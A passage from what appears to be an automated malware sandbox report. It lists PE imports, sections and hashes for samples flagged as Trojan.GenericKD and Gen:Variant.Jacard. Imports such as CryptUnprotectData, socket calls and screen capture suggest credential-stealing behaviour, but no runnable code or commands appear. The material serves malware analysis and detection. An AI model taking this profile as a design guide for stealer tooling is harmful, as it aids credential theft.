GetWindowPlacement | - | 0x4965d0 | 0x965d0 | 0x935d0 | 0x0 |
GetWindowLongA | - | 0x4965d4 | 0x965d4 | 0x935d4 | 0x0 |
GetWindowDC | - | 0x4965d8 | 0x965d8 | 0x935d8 | 0x0 |
GetTopWindow | - | 0x4965dc | 0x965dc | 0x935dc | 0x0 |
GetSystemMetrics | - | 0x4965e0 | 0x965e0 | 0x935e0 | 0x0 |
GetSystemMenu | - | 0x4965e4 | 0x965e4 | 0x935e4 | 0x0 |
GetSysColorBrush | - | 0x4965e8 | 0x965e8 | 0x935e8 | 0x0 |
GetSysColor | - | 0x4965ec | 0x965ec | 0x935ec | 0x0 |
GetSubMenu | - | 0x4965f0 | 0x965f0 | 0x935f0 | 0x0 |
GetScrollRange | - | 0x4965f4 | 0x965f4 | 0x935f4 | 0x0 |
GetScrollPos | - | 0x4965f8 | 0x965f8 | 0x935f8 | 0x0 |
GetScrollInfo | - | 0x4965fc | 0x965fc | 0x935fc | 0x0 |
GetPropA | - | 0x496600 | 0x96600 | 0x93600 | 0x0 |
GetParent | - | 0x496604 | 0x96604 | 0x93604 | 0x0 |
GetWindow | - | 0x496608 | 0x96608 | 0x93608 | 0x0 |
GetMenuStringA | - | 0x49660c | 0x9660c | 0x9360c | 0x0 |
GetMenuState | - | 0x496610 | 0x96610 | 0x93610 | 0x0 |
GetMenuItemInfoA | - | 0x496614 | 0x96614 | 0x93614 | 0x0 |
GetMenuItemID | - | 0x496618 | 0x96618 | 0x93618 | 0x0 |
GetMenuItemCount | - | 0x49661c | 0x9661c | 0x9361c | 0x0 |
GetMenu | - | 0x496620 | 0x96620 | 0x93620 | 0x0 |
GetLastActivePopup | - | 0x496624 | 0x96624 | 0x93624 | 0x0 |
GetKeyboardState | - | 0x496628 | 0x96628 | 0x93628 | 0x0 |
GetKeyboardLayoutList | - | 0x49662c | 0x9662c | 0x9362c | 0x0 |
GetKeyboardLayout | - | 0x496630 | 0x96630 | 0x93630 | 0x0 |
GetKeyState | - | 0x496634 | 0x96634 | 0x93634 | 0x0 |
GetKeyNameTextA | - | 0x496638 | 0x96638 | 0x93638 | 0x0 |
GetIconInfo | - | 0x49663c | 0x9663c | 0x9363c | 0x0 |
GetForegroundWindow | - | 0x496640 | 0x96640 | 0x93640 | 0x0 |
GetFocus | - | 0x496644 | 0x96644 | 0x93644 | 0x0 |
GetDesktopWindow | - | 0x496648 | 0x96648 | 0x93648 | 0x0 |
GetDCEx | - | 0x49664c | 0x9664c | 0x9364c | 0x0 |
GetDC | - | 0x496650 | 0x96650 | 0x93650 | 0x0 |
GetCursorPos | - | 0x496654 | 0x96654 | 0x93654 | 0x0 |
GetCursor | - | 0x496658 | 0x96658 | 0x93658 | 0x0 |
GetClipboardData | - | 0x49665c | 0x9665c | 0x9365c | 0x0 |
GetClientRect | - | 0x496660 | 0x96660 | 0x93660 | 0x0 |
GetClassNameA | - | 0x496664 | 0x96664 | 0x93664 | 0x0 |
GetClassInfoA | - | 0x496668 | 0x96668 | 0x93668 | 0x0 |
GetCapture | - | 0x49666c | 0x9666c | 0x9366c | 0x0 |
GetAsyncKeyState | - | 0x496670 | 0x96670 | 0x93670 | 0x0 |
GetActiveWindow | - | 0x496674 | 0x96674 | 0x93674 | 0x0 |
FrameRect | - | 0x496678 | 0x96678 | 0x93678 | 0x0 |
FindWindowA | - | 0x49667c | 0x9667c | 0x9367c | 0x0 |
FillRect | - | 0x496680 | 0x96680 | 0x93680 | 0x0 |
EqualRect | - | 0x496684 | 0x96684 | 0x93684 | 0x0 |
EnumWindows | - | 0x496688 | 0x96688 | 0x93688 | 0x0 |
EnumThreadWindows | - | 0x49668c | 0x9668c | 0x9368c | 0x0 |
EndPaint | - | 0x496690 | 0x96690 | 0x93690 | 0x0 |
EnableWindow | - | 0x496694 | 0x96694 | 0x93694 | 0x0 |
EnableScrollBar | - | 0x496698 | 0x96698 | 0x93698 | 0x0 |
EnableMenuItem | - | 0x49669c | 0x9669c | 0x9369c | 0x0 |
EmptyClipboard | - | 0x4966a0 | 0x966a0 | 0x936a0 | 0x0 |
DrawTextA | - | 0x4966a4 | 0x966a4 | 0x936a4 | 0x0 |
DrawStateA | - | 0x4966a8 | 0x966a8 | 0x936a8 | 0x0 |
DrawMenuBar | - | 0x4966ac | 0x966ac | 0x936ac | 0x0 |
DrawIconEx | - | 0x4966b0 | 0x966b0 | 0x936b0 | 0x0 |
DrawIcon | - | 0x4966b4 | 0x966b4 | 0x936b4 | 0x0 |
DrawFrameControl | - | 0x4966b8 | 0x966b8 | 0x936b8 | 0x0 |
DrawEdge | - | 0x4966bc | 0x966bc | 0x936bc | 0x0 |
DispatchMessageA | - | 0x4966c0 | 0x966c0 | 0x936c0 | 0x0 |
DestroyWindow | - | 0x4966c4 | 0x966c4 | 0x936c4 | 0x0 |
DestroyMenu | - | 0x4966c8 | 0x966c8 | 0x936c8 | 0x0 |
DestroyIcon | - | 0x4966cc | 0x966cc | 0x936cc | 0x0 |
DestroyCursor | - | 0x4966d0 | 0x966d0 | 0x936d0 | 0x0 |
DeleteMenu | - | 0x4966d4 | 0x966d4 | 0x936d4 | 0x0 |
DefWindowProcA | - | 0x4966d8 | 0x966d8 | 0x936d8 | 0x0 |
DefMDIChildProcA | - | 0x4966dc | 0x966dc | 0x936dc | 0x0 |
DefFrameProcA | - | 0x4966e0 | 0x966e0 | 0x936e0 | 0x0 |
CreatePopupMenu | - | 0x4966e4 | 0x966e4 | 0x936e4 | 0x0 |
CreateMenu | - | 0x4966e8 | 0x966e8 | 0x936e8 | 0x0 |
CreateIcon | - | 0x4966ec | 0x966ec | 0x936ec | 0x0 |
CloseClipboard | - | 0x4966f0 | 0x966f0 | 0x936f0 | 0x0 |
ClientToScreen | - | 0x4966f4 | 0x966f4 | 0x936f4 | 0x0 |
CheckMenuItem | - | 0x4966f8 | 0x966f8 | 0x936f8 | 0x0 |
CallWindowProcA | - | 0x4966fc | 0x966fc | 0x936fc | 0x0 |
CallNextHookEx | - | 0x496700 | 0x96700 | 0x93700 | 0x0 |
BeginPaint | - | 0x496704 | 0x96704 | 0x93704 | 0x0 |
CharNextA | - | 0x496708 | 0x96708 | 0x93708 | 0x0 |
CharLowerBuffA | - | 0x49670c | 0x9670c | 0x9370c | 0x0 |
CharLowerA | - | 0x496710 | 0x96710 | 0x93710 | 0x0 |
CharUpperBuffA | - | 0x496714 | 0x96714 | 0x93714 | 0x0 |
CharToOemA | - | 0x496718 | 0x96718 | 0x93718 | 0x0 |
AdjustWindowRectEx | - | 0x49671c | 0x9671c | 0x9371c | 0x0 |
ActivateKeyboardLayout | - | 0x496720 | 0x96720 | 0x93720 | 0x0 |
kernel32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
Sleep | - | 0x496728 | 0x96728 | 0x93728 | 0x0 |
oleaut32.dll (13)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SafeArrayPtrOfIndex | - | 0x496730 | 0x96730 | 0x93730 | 0x0 |
SafeArrayPutElement | - | 0x496734 | 0x96734 | 0x93734 | 0x0 |
SafeArrayGetElement | - | 0x496738 | 0x96738 | 0x93738 | 0x0 |
SafeArrayUnaccessData | - | 0x49673c | 0x9673c | 0x9373c | 0x0 |
SafeArrayAccessData | - | 0x496740 | 0x96740 | 0x93740 | 0x0 |
SafeArrayGetUBound | - | 0x496744 | 0x96744 | 0x93744 | 0x0 |
SafeArrayGetLBound | - | 0x496748 | 0x96748 | 0x93748 | 0x0 |
SafeArrayCreate | - | 0x49674c | 0x9674c | 0x9374c | 0x0 |
VariantChangeType | - | 0x496750 | 0x96750 | 0x93750 | 0x0 |
VariantCopyInd | - | 0x496754 | 0x96754 | 0x93754 | 0x0 |
VariantCopy | - | 0x496758 | 0x96758 | 0x93758 | 0x0 |
VariantClear | - | 0x49675c | 0x9675c | 0x9375c | 0x0 |
VariantInit | - | 0x496760 | 0x96760 | 0x93760 | 0x0 |
ole32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CoTaskMemAlloc | - | 0x496768 | 0x96768 | 0x93768 | 0x0 |
CoCreateInstance | - | 0x49676c | 0x9676c | 0x9376c | 0x0 |
CoUninitialize | - | 0x496770 | 0x96770 | 0x93770 | 0x0 |
CoInitialize | - | 0x496774 | 0x96774 | 0x93774 | 0x0 |
oleaut32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CreateErrorInfo | - | 0x49677c | 0x9677c | 0x9377c | 0x0 |
GetErrorInfo | - | 0x496780 | 0x96780 | 0x93780 | 0x0 |
SetErrorInfo | - | 0x496784 | 0x96784 | 0x93784 | 0x0 |
SysFreeString | - | 0x496788 | 0x96788 | 0x93788 | 0x0 |
comctl32.dll (24)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
ImageList_SetIconSize | - | 0x496790 | 0x96790 | 0x93790 | 0x0 |
ImageList_GetIconSize | - | 0x496794 | 0x96794 | 0x93794 | 0x0 |
ImageList_Write | - | 0x496798 | 0x96798 | 0x93798 | 0x0 |
ImageList_Read | - | 0x49679c | 0x9679c | 0x9379c | 0x0 |
ImageList_GetDragImage | - | 0x4967a0 | 0x967a0 | 0x937a0 | 0x0 |
ImageList_DragShowNolock | - | 0x4967a4 | 0x967a4 | 0x937a4 | 0x0 |
ImageList_SetDragCursorImage | - | 0x4967a8 | 0x967a8 | 0x937a8 | 0x0 |
ImageList_DragMove | - | 0x4967ac | 0x967ac | 0x937ac | 0x0 |
ImageList_DragLeave | - | 0x4967b0 | 0x967b0 | 0x937b0 | 0x0 |
ImageList_DragEnter | - | 0x4967b4 | 0x967b4 | 0x937b4 | 0x0 |
ImageList_EndDrag | - | 0x4967b8 | 0x967b8 | 0x937b8 | 0x0 |
ImageList_BeginDrag | - | 0x4967bc | 0x967bc | 0x937bc | 0x0 |
ImageList_Remove | - | 0x4967c0 | 0x967c0 | 0x937c0 | 0x0 |
ImageList_DrawEx | - | 0x4967c4 | 0x967c4 | 0x937c4 | 0x0 |
ImageList_Replace | - | 0x4967c8 | 0x967c8 | 0x937c8 | 0x0 |
ImageList_Draw | - | 0x4967cc | 0x967cc | 0x937cc | 0x0 |
ImageList_GetBkColor | - | 0x4967d0 | 0x967d0 | 0x937d0 | 0x0 |
ImageList_SetBkColor | - | 0x4967d4 | 0x967d4 | 0x937d4 | 0x0 |
ImageList_ReplaceIcon | - | 0x4967d8 | 0x967d8 | 0x937d8 | 0x0 |
ImageList_Add | - | 0x4967dc | 0x967dc | 0x937dc | 0x0 |
ImageList_GetImageCount | - | 0x4967e0 | 0x967e0 | 0x937e0 | 0x0 |
ImageList_Destroy | - | 0x4967e4 | 0x967e4 | 0x937e4 | 0x0 |
ImageList_Create | - | 0x4967e8 | 0x967e8 | 0x937e8 | 0x0 |
InitCommonControls | - | 0x4967ec | 0x967ec | 0x937ec | 0x0 |
winmm.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
sndPlaySoundA | - | 0x4967f4 | 0x967f4 | 0x937f4 | 0x0 |
94e60de577c84625da69f785ffe7e24c889bfa6923dc7b017c21e8a313e4e8e1 | Downloaded File | Binary |
malicious
|
...
|
»
File Reputation Information
»
Verdict |
malicious
|
AV Matches (1)
»
Threat Name | Verdict |
---|---|
Trojan.GenericKD.45628116 |
malicious
|
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x401480 |
Size Of Code | 0x35200 |
Size Of Initialized Data | 0x42800 |
Size Of Uninitialized Data | 0x600 |
File Type | FileType.executable |
Subsystem | Subsystem.windows_gui |
Machine Type | MachineType.i386 |
Compile Timestamp | 1970-01-01 00:00:00+00:00 |
Sections (8)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
.text | 0x401000 | 0x35064 | 0x35200 | 0x400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.53 |
.data | 0x437000 | 0x38 | 0x200 | 0x35600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.51 |
.rdata | 0x438000 | 0x2e68 | 0x3000 | 0x35800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ | 6.83 |
/4 | 0x43b000 | 0x8fd8 | 0x9000 | 0x38800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ | 4.51 |
.bss | 0x444000 | 0x440 | 0x0 | 0x0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.0 |
.idata | 0x445000 | 0xea4 | 0x1000 | 0x41800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.98 |
.CRT | 0x446000 | 0x38 | 0x200 | 0x42800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.34 |
.tls | 0x447000 | 0x8 | 0x200 | 0x42a00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.0 |
Imports (8)
»
KERNEL32.dll (9)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetCurrentProcess | - | 0x4452b4 | 0x450b4 | 0x418b4 | 0x1c8 |
GetCurrentProcessId | - | 0x4452b8 | 0x450b8 | 0x418b8 | 0x1c9 |
GetCurrentThreadId | - | 0x4452bc | 0x450bc | 0x418bc | 0x1cd |
GetTickCount | - | 0x4452c0 | 0x450c0 | 0x418c0 | 0x29b |
QueryPerformanceCounter | - | 0x4452c4 | 0x450c4 | 0x418c4 | 0x3b6 |
TerminateProcess | - | 0x4452c8 | 0x450c8 | 0x418c8 | 0x4a7 |
UnhandledExceptionFilter | - | 0x4452cc | 0x450cc | 0x418cc | 0x4bb |
VirtualProtect | - | 0x4452d0 | 0x450d0 | 0x418d0 | 0x4dc |
VirtualQuery | - | 0x4452d4 | 0x450d4 | 0x418d4 | 0x4df |
msvcrt.dll (29)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
__getmainargs | - | 0x4452dc | 0x450dc | 0x418dc | 0x3b |
__initenv | - | 0x4452e0 | 0x450e0 | 0x418e0 | 0x3c |
__lconv_init | - | 0x4452e4 | 0x450e4 | 0x418e4 | 0x45 |
__p__acmdln | - | 0x4452e8 | 0x450e8 | 0x418e8 | 0x4d |
__p__fmode | - | 0x4452ec | 0x450ec | 0x418ec | 0x54 |
__set_app_type | - | 0x4452f0 | 0x450f0 | 0x418f0 | 0x69 |
__setusermatherr | - | 0x4452f4 | 0x450f4 | 0x418f4 | 0x6c |
_amsg_exit | - | 0x4452f8 | 0x450f8 | 0x418f8 | 0x91 |
_cexit | - | 0x4452fc | 0x450fc | 0x418fc | 0xa2 |
_fmode | - | 0x445300 | 0x45100 | 0x41900 | 0x114 |
_fpreset | - | 0x445304 | 0x45104 | 0x41904 | 0x118 |
_initterm | - | 0x445308 | 0x45108 | 0x41908 | 0x160 |
_iob | - | 0x44530c | 0x4510c | 0x4190c | 0x164 |
_onexit | - | 0x445310 | 0x45110 | 0x41910 | 0x274 |
abort | - | 0x445314 | 0x45114 | 0x41914 | 0x421 |
calloc | - | 0x445318 | 0x45118 | 0x41918 | 0x42e |
exit | - | 0x44531c | 0x4511c | 0x4191c | 0x439 |
fprintf | - | 0x445320 | 0x45120 | 0x41920 | 0x449 |
free | - | 0x445324 | 0x45124 | 0x41924 | 0x450 |
fwrite | - | 0x445328 | 0x45128 | 0x41928 | 0x45c |
malloc | - | 0x44532c | 0x4512c | 0x4192c | 0x48b |
memcmp | - | 0x445330 | 0x45130 | 0x41930 | 0x493 |
memcpy | - | 0x445334 | 0x45134 | 0x41934 | 0x494 |
memmove | - | 0x445338 | 0x45138 | 0x41938 | 0x495 |
memset | - | 0x44533c | 0x4513c | 0x4193c | 0x496 |
signal | - | 0x445340 | 0x45140 | 0x41940 | 0x4af |
strlen | - | 0x445344 | 0x45144 | 0x41944 | 0x4c3 |
strncmp | - | 0x445348 | 0x45148 | 0x41948 | 0x4c6 |
vfprintf | - | 0x44534c | 0x4514c | 0x4194c | 0x4e5 |
WS2_32.dll (13)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
WSACleanup | - | 0x445354 | 0x45154 | 0x41954 | 0x1b |
WSAGetLastError | - | 0x445358 | 0x45158 | 0x41958 | 0x2c |
WSASocketW | - | 0x44535c | 0x4515c | 0x4195c | 0x54 |
WSAStartup | - | 0x445360 | 0x45160 | 0x41960 | 0x55 |
closesocket | - | 0x445364 | 0x45164 | 0x41964 | 0x87 |
connect | - | 0x445368 | 0x45168 | 0x41968 | 0x88 |
freeaddrinfo | - | 0x44536c | 0x4516c | 0x4196c | 0x89 |
getaddrinfo | - | 0x445370 | 0x45170 | 0x41970 | 0x8a |
ioctlsocket | - | 0x445374 | 0x45174 | 0x41974 | 0x9c |
recv | - | 0x445378 | 0x45178 | 0x41978 | 0xa0 |
send | - | 0x44537c | 0x4517c | 0x4197c | 0xa3 |
setsockopt | - | 0x445380 | 0x45180 | 0x41980 | 0xa5 |
shutdown | - | 0x445384 | 0x45184 | 0x41984 | 0xa6 |
ADVAPI32.dll (5)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RegCloseKey | - | 0x44538c | 0x4518c | 0x4198c | 0x235 |
RegEnumKeyExW | - | 0x445390 | 0x45190 | 0x41990 | 0x254 |
RegOpenKeyExW | - | 0x445394 | 0x45194 | 0x41994 | 0x266 |
RegQueryInfoKeyW | - | 0x445398 | 0x45198 | 0x41998 | 0x26d |
RegQueryValueExW | - | 0x44539c | 0x4519c | 0x4199c | 0x273 |
CRYPT32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CryptUnprotectData | - | 0x4453a4 | 0x451a4 | 0x419a4 | 0xda |
GDI32.dll (7)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
BitBlt | - | 0x4453ac | 0x451ac | 0x419ac | 0xc |
CreateCompatibleDC | - | 0x4453b0 | 0x451b0 | 0x419b0 | 0x22 |
CreateDIBSection | - | 0x4453b4 | 0x451b4 | 0x419b4 | 0x27 |
DeleteObject | - | 0x4453b8 | 0x451b8 | 0x419b8 | 0x114 |
GetCurrentObject | - | 0x4453bc | 0x451bc | 0x419bc | 0x170 |
GetObjectW | - | 0x4453c0 | 0x451c0 | 0x419c0 | 0x19e |
SelectObject | - | 0x4453c4 | 0x451c4 | 0x419c4 | 0x1ff |
KERNEL32.dll (50)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CloseHandle | - | 0x4453cc | 0x451cc | 0x419cc | 0x45 |
CreateDirectoryW | - | 0x4453d0 | 0x451d0 | 0x419d0 | 0x6f |
CreateFileW | - | 0x4453d4 | 0x451d4 | 0x419d4 | 0x80 |
CreateProcessA | - | 0x4453d8 | 0x451d8 | 0x419d8 | 0x95 |
CreateToolhelp32Snapshot | - | 0x4453dc | 0x451dc | 0x419dc | 0xab |
DeleteCriticalSection | - | 0x4453e0 | 0x451e0 | 0x419e0 | 0xbe |
DeviceIoControl | - | 0x4453e4 | 0x451e4 | 0x419e4 | 0xcb |
EnterCriticalSection | - | 0x4453e8 | 0x451e8 | 0x419e8 | 0xdc |
FindClose | - | 0x4453ec | 0x451ec | 0x419ec | 0x11b |
FindFirstFileW | - | 0x4453f0 | 0x451f0 | 0x419f0 | 0x126 |
FindNextFileW | - | 0x4453f4 | 0x451f4 | 0x419f4 | 0x132 |
FormatMessageW | - | 0x4453f8 | 0x451f8 | 0x419f8 | 0x14d |
GetComputerNameW | - | 0x4453fc | 0x451fc | 0x419fc | 0x17b |
GetConsoleMode | - | 0x445400 | 0x45200 | 0x41a00 | 0x18b |
GetEnvironmentVariableW | - | 0x445404 | 0x45204 | 0x41a04 | 0x1c1 |
GetFileInformationByHandle | - | 0x445408 | 0x45208 | 0x41a08 | 0x1cd |
GetLastError | - | 0x44540c | 0x4520c | 0x41a0c | 0x1e6 |
GetLocaleInfoW | - | 0x445410 | 0x45210 | 0x41a10 | 0x1ea |
GetModuleFileNameW | - | 0x445414 | 0x45214 | 0x41a14 | 0x1f9 |
GetModuleHandleW | - | 0x445418 | 0x45218 | 0x41a18 | 0x1fd |
GetProcAddress | - | 0x44541c | 0x4521c | 0x41a1c | 0x231 |
GetProcessHeap | - | 0x445420 | 0x45220 | 0x41a20 | 0x237 |
GetStartupInfoA | - | 0x445424 | 0x45224 | 0x41a24 | 0x252 |
GetStdHandle | - | 0x445428 | 0x45228 | 0x41a28 | 0x255 |
GetSystemInfo | - | 0x44542c | 0x4522c | 0x41a2c | 0x266 |
GetSystemTimeAsFileTime | - | 0x445430 | 0x45230 | 0x41a30 | 0x26c |
GetTempPathW | - | 0x445434 | 0x45234 | 0x41a34 | 0x279 |
GetTimeZoneInformation | - | 0x445438 | 0x45238 | 0x41a38 | 0x28f |
GetUserDefaultLocaleName | - | 0x44543c | 0x4523c | 0x41a3c | 0x295 |
GlobalMemoryStatusEx | - | 0x445440 | 0x45240 | 0x41a40 | 0x2ba |
HeapAlloc | - | 0x445444 | 0x45244 | 0x41a44 | 0x2c5 |
HeapFree | - | 0x445448 | 0x45248 | 0x41a48 | 0x2c9 |
HeapReAlloc | - | 0x44544c | 0x4524c | 0x41a4c | 0x2cc |
InitializeCriticalSection | - | 0x445450 | 0x45250 | 0x41a50 | 0x2da |
LeaveCriticalSection | - | 0x445454 | 0x45254 | 0x41a54 | 0x329 |
LoadLibraryA | - | 0x445458 | 0x45258 | 0x41a58 | 0x32d |
LocalFree | - | 0x44545c | 0x4525c | 0x41a5c | 0x33a |
Process32First | - | 0x445460 | 0x45260 | 0x41a60 | 0x387 |
Process32Next | - | 0x445464 | 0x45264 | 0x41a64 | 0x389 |
ReadFile | - | 0x445468 | 0x45268 | 0x41a68 | 0x3c0 |
SetFilePointerEx | - | 0x44546c | 0x4526c | 0x41a6c | 0x430 |
SetHandleInformation | - | 0x445470 | 0x45270 | 0x41a70 | 0x43a |
SetLastError | - | 0x445474 | 0x45274 | 0x41a74 | 0x43d |
SetUnhandledExceptionFilter | - | 0x445478 | 0x45278 | 0x41a78 | 0x476 |
Sleep | - | 0x44547c | 0x4527c | 0x41a7c | 0x483 |
TlsAlloc | - | 0x445480 | 0x45280 | 0x41a80 | 0x494 |
TlsGetValue | - | 0x445484 | 0x45284 | 0x41a84 | 0x496 |
TlsSetValue | - | 0x445488 | 0x45288 | 0x41a88 | 0x497 |
WriteConsoleW | - | 0x44548c | 0x4528c | 0x41a8c | 0x4f2 |
WriteFile | - | 0x445490 | 0x45290 | 0x41a90 | 0x4f3 |
USER32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
EnumDisplayDevicesW | - | 0x445498 | 0x45298 | 0x41a98 | 0xce |
GetDC | - | 0x44549c | 0x4529c | 0x41a9c | 0x10c |
GetDesktopWindow | - | 0x4454a0 | 0x452a0 | 0x41aa0 | 0x10e |
GetKeyboardLayoutList | - | 0x4454a4 | 0x452a4 | 0x41aa4 | 0x12e |
GetSystemMetrics | - | 0x4454a8 | 0x452a8 | 0x41aa8 | 0x17c |
GetWindowRect | - | 0x4454ac | 0x452ac | 0x41aac | 0x199 |
AV Matches (1)
»
Threat Name | Verdict |
---|---|
Gen:Variant.Jacard.222844 |
malicious
|
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x492348 |
Size Of Code | 0x91400 |
Size Of Initialized Data | 0x1e800 |
File Type | FileType.dll |
Subsystem | Subsystem.windows_gui |
Machine Type | MachineType.i386 |
Compile Timestamp | 1992-06-19 22:22:17+00:00 |
Sections (6)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
CODE | 0x401000 | 0x91368 | 0x91400 | 0x400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.52 |
DATA | 0x493000 | 0x17a4 | 0x1800 | 0x91800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.33 |
BSS | 0x495000 | 0xd25 | 0x0 | 0x93000 | IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.0 |
.idata | 0x496000 | 0x244a | 0x2600 | 0x93000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.79 |
.reloc | 0x499000 | 0xa918 | 0xaa00 | 0x95600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ | 6.62 |
.rsrc | 0x4a4000 | 0x10000 | 0x10000 | 0xa0000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ | 6.15 |
Imports (16)
»
kernel32.dll (34)
»
